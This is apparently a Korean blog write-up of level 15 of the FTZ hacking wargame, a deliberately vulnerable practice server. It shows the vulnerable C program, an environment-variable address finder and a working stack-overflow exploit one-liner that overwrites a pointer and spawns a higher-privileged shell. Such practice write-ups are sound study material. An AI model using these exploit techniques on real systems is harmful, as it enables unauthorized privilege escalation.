FTZ level15

Posted by dw0rdptr
2015. 3. 17. 21:22 System/FTZ


1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include<stdio.h>
main(){   
 
    int crap;  
    int *check;  
    char buf[20];  
    
    fgets(buf,45,stdin);  
    if (*check==0xdeadbeef)   
    {     
        setreuid(3096,3096);     
        system("/bin/sh");  
    }
}  
cs


*check 포인터 변수는 입력받은 값을 주소로 받아

그 주소 안에 있는 값을 참조하므로

*check가 참조하는 값이 deadbeef가 되어야 한다


환경변수선언

export shellcode=`python -c 'print "\xef\xbe\xad\xde"'` 


*check에 shellcode 주소를 채우기만 하면 된다.


환경변수 주소 찾기

-앞에서 나온 주소 찾기 소스는 대략적인 위치만을 찾아 NOP Sled를 사용해 쉘코드를 실행시켰지만

이문제는 환경변수의 정확한 시작 주소를 찾아야 하기 때문에 아래의 소스를 쓴다



--get.c


1
2
3
4
5
6
7
int main(int argc, char **argv){
 
    long ptr = getenv(argv[1]);
    ptr += (strlen(argv[0]) - strlen(argv[2])) * 2
    printf("\nUse Address : %p", ptr);
    return 0;
}
cs


 //USAGE ./get 환경변수이름/ target의절대경로

./get shellcode /home/level15/attackme



Use Address : 0xbffffeff



공격 코드는


(python -c 'print "A"*40 + "\xff\xfe\xff\xbf"';cat) | /home/level15/attackme



id

uid=3096(level16) gid=3095(level15) groups=3095(level15)


my-pass


Level16 Password


'System > FTZ' 카테고리의 다른 글

FTZ level16  (0) 2015.03.17
FTZ level14  (0) 2015.03.17
FTZ level13  (0) 2015.03.17
FTZ level12  (0) 2015.03.17
FTZ level11  (0) 2015.03.17